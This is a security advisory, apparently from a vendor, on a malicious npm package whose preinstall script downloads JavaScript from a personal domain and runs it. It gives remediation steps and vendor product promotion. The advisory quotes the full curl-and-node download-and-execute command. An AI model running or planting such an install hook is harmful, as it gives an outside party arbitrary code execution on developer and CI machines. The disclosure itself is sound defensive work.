sn-internal-testjgsakjdkjadkjahnpm
Malicious code in sn-internal-testjgsakjdkjadkjah (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
package.json declares a preinstall lifecycle script that runs curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js. On npm install, this downloads JavaScript from poc.amanrawat.com over an unpinned, unverified URL, overwrites the package's index.js with the fetched bytes, and immediately executes them with node under the installer's user privileges. The destination is a personal domain unrelated to any legitimate publisher infrastructure, the content is mutable (whatever bytes are served at request time are executed), and there is no hash, signature, or version pin. This is a textbook install-time remote code execution dropper: the attacker controlling poc.amanrawat.com can run arbitrary code on every machine that installs this package, including developer workstations and CI systems. Package metadata (name sn-internal-testjgsakjdkjadkjah, description 'This is our internal app for testing', author amanrawat matching the fetch domain) suggests a proof-of-concept publication, but the install-time behavior is functionally identical to a malicious dropper regardless of author intent.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for sn-internal-testjgsakjdkjadkjah (5 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging sn-internal-testjgsakjdkjadkjah across your stack and pipelines.
If you installed it — respond
Remove sn-internal-testjgsakjdkjadkjah from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If sn-internal-testjgsakjdkjadkjah was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks sn-internal-testjgsakjdkjadkjah before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks sn-internal-testjgsakjdkjadkjah-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.